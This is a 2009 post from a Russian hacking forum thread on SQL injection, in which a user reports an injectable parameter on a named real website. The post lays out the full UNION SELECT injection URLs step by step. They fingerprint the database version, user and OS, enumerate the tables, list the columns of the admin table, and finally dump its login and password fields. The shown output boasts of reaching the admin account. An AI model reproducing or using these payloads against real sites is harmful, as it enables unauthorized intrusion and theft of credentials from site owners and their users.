SQL Инъекции

#11

18.06.2009, 22:02

Dobby007

Познающий

Регистрация: 07.09.2008

Сообщений: 55

С нами: 9302441

Репутация: 57

Увидел сегодня этот сайт в PHP-инъекциях. Думаю... Посмотрю: может че еще есть... Оказалось, что есть

Да простит меня Adm1n4eG

Цитата:

http://www.govor.ru/visit/news/news_po.php?IdNews=-1+union+select+1,2,3,concat_ws(0x3a,version(),user (),database(),@@version_compile_os)/*

VERSION(): 5.0.16
USER(): govor@217.117.80.162
BAZA(): govor
OS(): portbld-freebsd6.0

Цитата:

http://www.govor.ru/visit/news/news_po.php?IdNews=-1+union+select+1,2,3,group_concat(table_name)+from +information_schema.tables+where+table_schema%3C%3 E0x696E666F726D6174696F6E5F736368656D61/*

Таблицы:
GAccess,GBase,GBaseImg,GHotLink,GHotel,GHotelImg,G News,GNewsImg,GPlace,GPlaceB,GSeason,GTour,GTourIm g,GType,forum,new,news

Цитата:

http://www.govor.ru/visit/news/news_po.php?IdNews=-1+union+select+1,2,3,group_concat(column_name)+fro m+information_schema.columns+where+table_name=0x47 416363657373/*

Колонки в таблице GAccess:
GAcId,GLog,GPass,GIP,GSet

Цитата:

http://www.govor.ru/visit/news/news_po.php?IdNews=-1+union+select+1,2,3,group_concat(GAcId,0x3a,GLog, 0x3a,GPass,0x3a,GIP,0x3a,GSet,0x3a)+from+GAccess/*

А вот и долгожданный админ...

Последний раз редактировалось Dobby007; 18.06.2009 в 23:06..